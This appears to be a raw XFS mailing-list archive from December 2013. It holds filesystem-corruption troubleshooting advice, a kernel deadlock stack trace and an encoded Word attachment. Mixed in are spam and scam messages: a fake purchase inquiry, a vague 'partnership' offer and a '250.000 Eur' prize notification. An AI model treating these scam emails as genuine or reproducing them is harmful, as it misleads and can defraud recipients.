AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAQAAAAIAAAADAAAABAAAAAUAAAAGAAAABwAAAAgAAAAJAAAACgAAAAsAAAAM AAAA/v///w4AAAAPAAAAEAAAABEAAAASAAAAEwAAABQAAAAVAAAAFgAAABcAAAAYAAAAGQAAABoA AAAbAAAA/v///x0AAAAeAAAAHwAAACAAAAAhAAAAIgAAACMAAAD+////JQAAACYAAAAnAAAAKAAA ACkAAAAqAAAAKwAAAP7////9////LgAAAP7////+/////v////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////9SAG8AbwB0ACAARQBuAHQAcgB5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAFgAFAf//////////AwAAAAYJAgAAAAAAwAAAAAAAAEYAAAAAAAAA AAAAAAAAoWloJfHOATAAAACAAAAAAAAAADEAVABhAGIAbABlAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOAAIB/////wUAAAD/////AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQAAAKsdAAAAAAAAVwBvAHIAZABEAG8AYwB1AG0A ZQBuAHQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABoAAgEBAAAA//// //////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALhgAAAAAAAAFAFMA dQBtAG0AYQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAKAACAQIAAAAEAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwA AAAAEAAAAAAAAAUARABvAGMAdQBtAGUAbgB0AFMAdQBtAG0AYQByAHkASQBuAGYAbwByAG0AYQB0 AGkAbwBuAAAAAAAAAAAAAAA4AAIB////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAJAAAAAAQAAAAAAAAAQBDAG8AbQBwAE8AYgBqAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAgD///////////////8AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////////// /////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAQAAAP7///////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////8BAP7/AwoAAP////8GCQIAAAAAAMAAAAAAAABGIAAAAMTu6vPs5e3yIE1pY3Jvc29m dCBXb3JkIDk3LTIwMDMACgAAAE1TV29yZERvYwAQAAAAV29yZC5Eb2N1bWVudC44APQ5snEAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA== ------=_NextPart_000_0B5D_01CEF18A.4F7B8900-- From stan@hardwarefreak.com Thu Dec 5 02:11:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5B69A7F3F for ; Thu, 5 Dec 2013 02:11:00 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id DB6B4AC005 for ; Thu, 5 Dec 2013 00:10:56 -0800 (PST) X-ASG-Debug-ID: 1386231055-04cbb041695321b0001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id TbJFjRlkqPksvHpl for ; Thu, 05 Dec 2013 00:10:55 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 57A976C17B; Thu, 5 Dec 2013 02:10:55 -0600 (CST) Message-ID: <52A03513.6030408@hardwarefreak.com> Date: Thu, 05 Dec 2013 02:10:59 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.1.1 MIME-Version: 1.0 To: Mike Dacre , xfs@oss.sgi.com Subject: Re: Sudden File System Corruption References: X-ASG-Orig-Subj: Re: Sudden File System Corruption In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1386231055 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/4/2013 8:55 PM, Mike Dacre wrote: ... > I have a 16 2TB drive RAID6 array powered by an LSI 9240-4i. It has an XFS. It's a 9260-4i, not a 9240, a huge difference. I went digging through your dmesg output because I knew the 9240 doesn't support RAID6. A few questions. What is the LSI RAID configuration? 1. Level -- confirm RAID6 2. Strip size? (eg 512KB) 3. Stripe size? (eg 7168KB, 14*256) 4. BBU module? 5. Is write cache enabled? What is the XFS geometry? 5. xfs_info /dev/sda A combination of these these being wrong could very well be part of your problems. ... > IO errors when any requests were made. This happened while it was being I didn't see any IO errors in your dmesg output. None. > accessed by 5 different users, one was doing a very large rm operation (rm > *sh on thousands on files in a directory). Also, about 30 minutes before > we had connected the globus connect endpoint to allow easy file transfers > to SDSC. With delaylog enabled, which I believe it is in RHEL/CentOS 6, a single big rm shouldn't kill the disks. But with the combination of other workloads it seems you may have been seeking the disks to death. ... > In the end, I successfully repaired the filesystem with `xfs_repair -L > /dev/sda1`. However, I am nervous that some files may have been corrupted. I'm sure your users will let you know. I'd definitely have a look in the directory that was targeted by the big rm operation which apparently didn't finish when XFS shutdown. > Do any of you have any idea what could have caused this problem? Yes. A few things. The first is this, and it's a big one: Dec 4 18:15:28 fruster kernel: io scheduler noop registered Dec 4 18:15:28 fruster kernel: io scheduler anticipatory registered Dec 4 18:15:28 fruster kernel: io scheduler deadline registered Dec 4 18:15:28 fruster kernel: io scheduler cfq registered (default) http://xfs.org/index.php/XFS_FAQ#Q:_I_want_to_tune_my_XFS_filesystems_for_.3Csomething.3E "As of kernel 3.2.12, the default i/o scheduler, CFQ, will defeat much of the parallelization in XFS." *Never* use the CFQ elevator with XFS, and never with a high performance storage system. In fact, IMHO, never use CFQ period. It was horrible even before 3.2.12. It is certain that CFQ is playing a big part in your 120s timeouts, though it may not be solely responsible for your IO bottleneck. Switch to deadline or noop immediately, deadline if LSI write cache is disabled, noop if it is enabled. Execute this manually now, and add it to a startup script and verify it is being set at startup, as it's not permanent: echo deadline > /sys/block/sda/queue/scheduler This one simple command line may help pretty dramatically, immediately, assuming your hardware array parameters aren't horribly wrong for your workloads, and your XFS alignment correctly matches the hardware geometry. -- Stan From arkadiusz.bubala@open-e.com Thu Dec 5 02:37:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 657BA7F3F for ; Thu, 5 Dec 2013 02:37:49 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3FAC28F8035 for ; Thu, 5 Dec 2013 00:37:46 -0800 (PST) X-ASG-Debug-ID: 1386232663-04cbb04166533420001-NocioJ Received: from moutng.kundenserver.de (moutng.kundenserver.de [212.227.17.9]) by cuda.sgi.com with ESMTP id EW0stJvFNtDcLVZv (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 05 Dec 2013 00:37:44 -0800 (PST) X-Barracuda-Envelope-From: arkadiusz.bubala@open-e.com X-Barracuda-Apparent-Source-IP: 212.227.17.9 Received: from [192.168.241.151] (host8514118246.static.open-e.3s.pl [85.14.118.246]) by mrelayeu.kundenserver.de (node=mreu4) with ESMTP (Nemesis) id 0LZYWu-1V9tN31XTg-00mJ5d; Thu, 05 Dec 2013 09:37:41 +0100 Message-ID: <52A03B1A.9000107@open-e.com> Date: Thu, 05 Dec 2013 09:36:42 +0100 From: =?UTF-8?B?QXJrYWRpdXN6IEJ1YmHFgmE=?= User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.16) Gecko/20120613 Icedove/3.0.11 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [BUG] Call trace during snapshot start/stop sequence References: <5295C307.6030804@open-e.com> <20131127221923.GI10988@dastard> <20131127230608.GJ10988@dastard> <52971442.8080701@open-e.com> <20131128211650.GQ10988@dastard> X-ASG-Orig-Subj: Re: [BUG] Call trace during snapshot start/stop sequence In-Reply-To: <20131128211650.GQ10988@dastard> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-Provags-ID: V02:K0:JQuIMew1Hr+kYQdzBpm+D1B1v9Jh2RZ8vpNF6vXwHi5 c/HHerumnTGOT9DG/BW9SRS0FYwuOQk3tiCB+iN6K/DsIqtyC7 Z/JDxv0PkMQA2M3tBS/79lI9IS/Uv2ifgRDgYE5DvuX0kJtVvY IQSy453d0fbaUVNQHlX06ljfwrxZ1ObCH0PKZyHR3i5m+TKUUq dzsCvdPfu9q3okSiGBQy5ycmlkNpOPWWEJ9LnRU/x6zsLXfDob Vpct14c3wkSnu8Qu0DLYaGkEpxEqVP7h9iW09haiQ71zYAvMfs alkq7gFQY1epUzHGdG8NKhAb0rONGxkxejF0L2Yl5cQJttxY6c TBNE7LrAFHMF1IeMnAN6zCZxMhz55M1HaihW23yiR X-Barracuda-Connect: moutng.kundenserver.de[212.227.17.9] X-Barracuda-Start-Time: 1386232664 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142855 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hello, I tried to repeat issue on another environment and but after about 15h of running mentioned test I got a deadlock. Test ran on the latest mainline 3.4.71 kernel. Here's the dumped stack: [74017.711401] dd D ffffffff8160a4a0 0 546 3277 0x20020000 [74017.711404] ffff88018ca40000 0000000000000086 0000000300000000 ffff8801f751fad8 [74017.711406] ffffffffffffffa6 ffff88042cd66ae0 0000000000000000 0000000000102400 [74017.711408] 0000000000000200 0000000000000000 0000000000000200 0000000000102652 [74017.711410] Call Trace: [74017.711411] [] ? xfs_iunlock+0x63/0x80 [74017.711413] [] ? find_get_page+0x18/0x90 [74017.711414] [] ? __lock_page+0x70/0x70 [74017.711416] [] ? io_schedule+0x4d/0x70 [74017.711417] [] ? sleep_on_page+0x9/0x10 [74017.711419] [] ? __wait_on_bit+0x4f/0x80 [74017.711420] [] ? xfs_get_blocks_direct+0x10/0x10 [74017.711422] [] ? wait_on_page_bit+0x6c/0x80 [74017.711424] [] ? autoremove_wake_function+0x30/0x30 [74017.711425] [] ? grab_cache_page_write_begin+0xc0/0x100 [74017.711427] [] ? xfs_get_blocks_direct+0x10/0x10 [74017.711430] [] ? block_write_begin+0x3e/0xa0 [74017.711431] [] ? xfs_vm_write_begin+0x40/0x80 [74017.711433] [] ? generic_file_buffered_write+0x10f/0x270 [74017.711435] [] ? xfs_file_aio_write_checks+0xf4/0x140 [74017.711437] [] ? xfs_file_buffered_aio_write+0xc3/0x140 [74017.711439] [] ? xfs_file_aio_write+0xf4/0x150 [74017.711440] [] ? do_filp_open+0x4c/0xc0 [74017.711442] [] ? do_sync_write+0xc4/0x100 [74017.711444] [] ? fsnotify+0x1b2/0x2c0 [74017.711446] [] ? security_file_permission+0x1c/0x90 [74017.711447] [] ? vfs_write+0xd0/0x170 [74017.711449] [] ? sys_write+0x53/0x90 [74017.711451] [] ? ia32_do_call+0x13/0x13 [74017.711452] lvconvert D ffffffff8160a4a0 0 1857 1612 0x20020000 [74017.711455] ffff88041fd08be0 0000000000000082 ffff880252aeda18 0000000000000001 [74017.711457] ffffffff810be0ed ffff88042cd66ae0 ffffea000b5d7de0 0000000000000040 [74017.711458] 0000000000000202 0000000000000000 ffff880252aedfd8 0000004000000000 [74017.711460] Call Trace: [74017.711462] [] ? zone_statistics+0x9d/0xa0 [74017.711465] [] ? alloc_vmap_area+0x6c/0x310 [74017.711467] [] ? rwsem_down_failed_common+0xcd/0x140 [74017.711469] [] ? __alloc_pages_nodemask+0x152/0x720 [74017.711471] [] ? call_rwsem_down_write_failed+0x13/0x20 [74017.711473] [] ? cap_netlink_send+0x10/0x10 [74017.711475] [] ? down_write+0x1c/0x20 [74017.711477] [] ? grab_super+0x29/0x90 [74017.711478] [] ? get_active_super+0x71/0x90 [74017.711480] [] ? freeze_bdev+0x7b/0xd0 [74017.711482] [] ? dm_suspend+0x1e0/0x280 [74017.711484] [] ? __find_device_hash_cell+0xdc/0x150 [74017.711486] [] ? dev_wait+0xb0/0xb0 [74017.711488] [] ? dev_suspend+0x1cc/0x220 [74017.711490] [] ? dm_ctl_ioctl+0x303/0x3a0 [74017.711492] [] ? _raw_spin_lock+0x5/0x10 [74017.711494] [] ? vfsmount_lock_local_lock+0x15/0x20 [74017.711497] [] ? compat_sys_ioctl+0x104/0x1160 [74017.711499] [] ? vfsmount_lock_local_lock+0x15/0x20 [74017.711501] [] ? mntput_no_expire+0x1a/0x140 [74017.711503] [] ? vfsmount_lock_local_unlock+0x15/0x20 [74017.711505] [] ? vfs_fstatat+0x7b/0x80 [74017.711507] [] ? sys32_stat64+0x2e/0x50 [74017.711509] [] ? ia32_do_call+0x13/0x13 [74017.711511] kworker/4:2 D 0000000000000000 0 45754 2 0x00000000 [74017.711513] ffff88020f12f0d0 0000000000000046 0000000000000001 0000000000000400 [74017.711516] 0000000000000000 ffff8801f9c04d30 0000000000000400 0000000040000000 [74017.711518] 0000000000000001 000000000003cb84 ffff8804275b8780 ffff88020f12f0d0 [74017.711519] Call Trace: [74017.711521] [] ? xfs_buf_ioend+0x90/0x90 [74017.711523] [] ? xfs_buf_iorequest+0x3b/0x40 [74017.711524] [] ? xlog_bdstrat+0x36/0x40 [74017.711526] [] ? default_spin_lock_flags+0x5/0x10 [74017.711528] [] ? _raw_spin_lock_irqsave+0x2b/0x50 [74017.711530] [] ? _xfs_log_force_lsn+0x2d1/0x310 [74017.711531] [] ? try_to_wake_up+0x280/0x280 [74017.711534] [] ? xfs_trans_commit+0x245/0x250 [74017.711535] [] ? xfs_sync_worker+0x54/0x60 [74017.711537] [] ? process_one_work+0xf3/0x320 [74017.711539] [] ? worker_thread+0xe2/0x280 [74017.711541] [] ? gcwq_mayday_timeout+0x80/0x80 [74017.711542] [] ? kthread+0x9b/0xb0 [74017.711544] [] ? kernel_thread_helper+0x4/0x10 [74017.711546] [] ? kthread_bind+0x80/0x80 [74017.711548] [] ? gs_change+0x13/0x13 -- Best regards Arkadiusz Bubała Open-E Poland Sp. z o.o. www.open-e.com From webbchie@server.kunapoo.com Thu Dec 5 03:22:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.3 required=5.0 tests=FREEMAIL_FROM,FREEMAIL_REPLYTO, FREEMAIL_REPLYTO_END_DIGIT autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 944CC7F3F for ; Thu, 5 Dec 2013 03:22:02 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6DC84304067 for ; Thu, 5 Dec 2013 01:21:59 -0800 (PST) X-ASG-Debug-ID: 1386235317-04bdf0131b2aa60001-w1Z2WR Received: from xsmtp06.mail2web.com (xsmtp26.mail2web.com [168.144.250.193]) by cuda.sgi.com with ESMTP id 4M2FAXxCmGAvk8zX (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 05 Dec 2013 01:21:57 -0800 (PST) X-Barracuda-Envelope-From: webbchie@server.kunapoo.com X-Barracuda-Apparent-Source-IP: 168.144.250.193 Received: from server.kunapoo.com ([168.144.38.216]) by xsmtp06.mail2web.com with esmtps (TLS-1.0:DHE_RSA_AES_256_CBC_SHA1:32) (Exim 4.63) (envelope-from ) id 1VoV83-0003BT-Aw for linux-xfs@oss.sgi.com; Thu, 05 Dec 2013 04:21:56 -0500 Received: from webbchie by server.kunapoo.com with local (Exim 4.82) (envelope-from ) id 1VoUd9-0008Vj-3a for linux-xfs@oss.sgi.com; Thu, 05 Dec 2013 03:49:55 -0500 To: linux-xfs@oss.sgi.com X-PHP-Script: webbchief.com/home/images/stories/.att.php for 199.189.110.28 From: Mr.Johnson Davidson Reply-To: johndavid000006@hotmail.com MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit Message-Id: Sender: Date: Thu, 05 Dec 2013 03:49:55 -0500 Subject: RE: Product Inquiry {New Order}‏ X-Barracuda-Connect: xsmtp26.mail2web.com[168.144.250.193] X-Barracuda-Start-Time: 1386235317 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-ASG-Orig-Subj: RE: Product Inquiry {New Order}‏ X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MAILTO_TO_SPAM_ADDR X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142856 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email Dear Supplier, My Name is John David,am very interested in your product which i find in your website in global market Having gone through your listed products, we offer great interest to do a purchase agreement with your company. Please get back to us with the following information please Quote. 1. Prices FOB 2. Payment terms 3. Delivery Period 4. MOQ 5.Specified delivery date assuming from the Date of Order. Please your quick reply will be highly appreciated. PLEASE SEND THE COPY OF YOUR REPLY EMAIL: MSN:johndavid000006@hotmail.com John David Boston Tech Group. Headquarters:Boston, MA P: + 1-305-600-1448 F: + 1-305-400-0763 Website: www.bcg.com From jmcduffie@bladencc.edu Thu Dec 5 06:59:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3A7BA7F4E for ; Thu, 5 Dec 2013 06:59:18 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 258448F8033 for ; Thu, 5 Dec 2013 04:59:15 -0800 (PST) X-ASG-Debug-ID: 1386248353-04cbb04167545050001-NocioJ Received: from na01-bl2-obe.outbound.protection.outlook.com (mail-bl2lp0210.outbound.protection.outlook.com [207.46.163.210]) by cuda.sgi.com with ESMTP id 1Wgx88gfma92Dprd (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Thu, 05 Dec 2013 04:59:13 -0800 (PST) X-Barracuda-Envelope-From: jmcduffie@bladencc.edu X-Barracuda-Apparent-Source-IP: 207.46.163.210 Received: from SN2PR07MB046.namprd07.prod.outlook.com (10.255.174.146) by SN2PR07MB045.namprd07.prod.outlook.com (10.255.174.145) with Microsoft SMTP Server (TLS) id 15.0.837.10; Thu, 5 Dec 2013 12:58:59 +0000 Received: from SN2PR07MB046.namprd07.prod.outlook.com ([169.254.13.118]) by SN2PR07MB046.namprd07.prod.outlook.com ([169.254.13.118]) with mapi id 15.00.0837.004; Thu, 5 Dec 2013 12:58:58 +0000 From: Jack McDuffie Subject: Project Thread-Topic: Project X-ASG-Orig-Subj: Project Thread-Index: AQHO8bmF+nSoBCRMN0K2tb45WNbRiw== Date: Thu, 5 Dec 2013 12:58:57 +0000 Message-ID: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [178.250.170.94] x-forefront-prvs: 00514A2FE6 x-forefront-antispam-report: SFV:NSPM;SFS:(189002)(199002)(77096001)(80022001)(85852002)(54356001)(65816001)(66066001)(1671002)(53806001)(74366001)(81342001)(77982001)(74706001)(46102001)(56776001)(79102001)(69226001)(76786001)(881003)(33646001)(76796001)(56816005)(90146001)(54316002)(221733001)(558084003)(63696002)(75432001)(51856001)(16236675002)(81542001)(74316001)(87266001)(4396001)(83322001)(31966008)(76176001)(76576001)(85306002)(80976001)(47446002)(74662001)(74502001)(49866001)(47736001)(59766001)(50986001)(47976001)(76482001)(2656002)(81686001)(74876001)(87936001)(81816001)(83072001)(24736002);DIR:OUT;SFP:;SCL:1;SRVR:SN2PR07MB045;H:SN2PR07MB046.namprd07.prod.outlook.com;CLIP:178.250.170.94;FPR:;RD:InfoNoRecords;MX:1;A:1;LANG:en; Content-Type: multipart/alternative; boundary="_000_daddb00dff6e4f9598f6f960fe825c95SN2PR07MB046namprd07pro_" MIME-Version: 1.0 X-OriginatorOrg: bladencc.edu X-Barracuda-Connect: mail-bl2lp0210.outbound.protection.outlook.com[207.46.163.210] X-Barracuda-Start-Time: 1386248353 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.23 X-Barracuda-Spam-Status: No, SCORE=1.23 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MISSING_HEADERS, THREAD_INDEX, THREAD_TOPIC, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142860 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 1.21 MISSING_HEADERS Missing To: header 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; --_000_daddb00dff6e4f9598f6f960fe825c95SN2PR07MB046namprd07pro_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable May I request for your partnership to execute a project in Asia, revert if = interested. --_000_daddb00dff6e4f9598f6f960fe825c95SN2PR07MB046namprd07pro_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable



May I request for your partnership to execu= te a project in Asia, revert if interested.
--_000_daddb00dff6e4f9598f6f960fe825c95SN2PR07MB046namprd07pro_-- From monsieur738@orange.fr Thu Dec 5 09:18:38 2013 Return-Path: X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6994E7F3F for ; Thu, 5 Dec 2013 09:18:38 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 544D78F8040 for ; Thu, 5 Dec 2013 07:18:35 -0800 (PST) X-ASG-Debug-ID: 1386256708-04cbb0416754c710001-w1Z2WR Received: from smtp.smtpout.orange.fr (smtp03.smtpout.orange.fr [80.12.242.125]) by cuda.sgi.com with ESMTP id Z4PiHI82hNvIO7Co for ; Thu, 05 Dec 2013 07:18:28 -0800 (PST) X-Barracuda-Envelope-From: monsieur738@orange.fr X-Barracuda-Apparent-Source-IP: 80.12.242.125 Received: from wwinf1z28 ([10.223.68.102]) by mwinf5d06 with ME id xrJS1m00U2CPUCy03rJSLF; Thu, 05 Dec 2013 16:18:27 +0100 Date: Thu, 5 Dec 2013 16:18:26 +0100 (CET) From: Monsieur Pascal Reply-To: Monsieur Pascal To: "valerie.richon@ac-grenoble.fr" Cc: "bibliiotheque@garons.fr" Message-ID: <1656058551.139518.1386256706913.JavaMail.www@wwinf1z28> Subject: =?UTF-8?Q?tr:_FW:_TR:_Notification250.000Eurnotifier=E2=80=8F?= MIME-Version: 1.0 X-ASG-Orig-Subj: =?UTF-8?Q?tr:_FW:_TR:_Notification250.000Eurnotifier=E2=80=8F?= Content-Type: multipart/mixed; boundary="----=_Part_139516_1967875448.1386256706864" X-Country-Code: X-me-spamlevel: not-spam X-Cache-ID: Message-Context: email-message X-WUM-SignatureAdded: X-me-spamrating: 40.00 X-Cache-Entry: X-Wum-Nature: EMAIL-NATURE X-Originating-IP: 208.85.5.30 X-Message-Size: X-SAVECOPY: false X-National-Code: X-Wum-ChannelType: X-WUM-FROM: |~| X-WUM-TO: |~| X-WUM-CC: |~| X-WUM-CCI: |~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~| X-WUM-REPLYTO: |~| X-Barracuda-Connect: smtp03.smtpout.orange.fr[80.12.242.125] X-Barracuda-Start-Time: 1386256708 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 ------=_Part_139516_1967875448.1386256706864 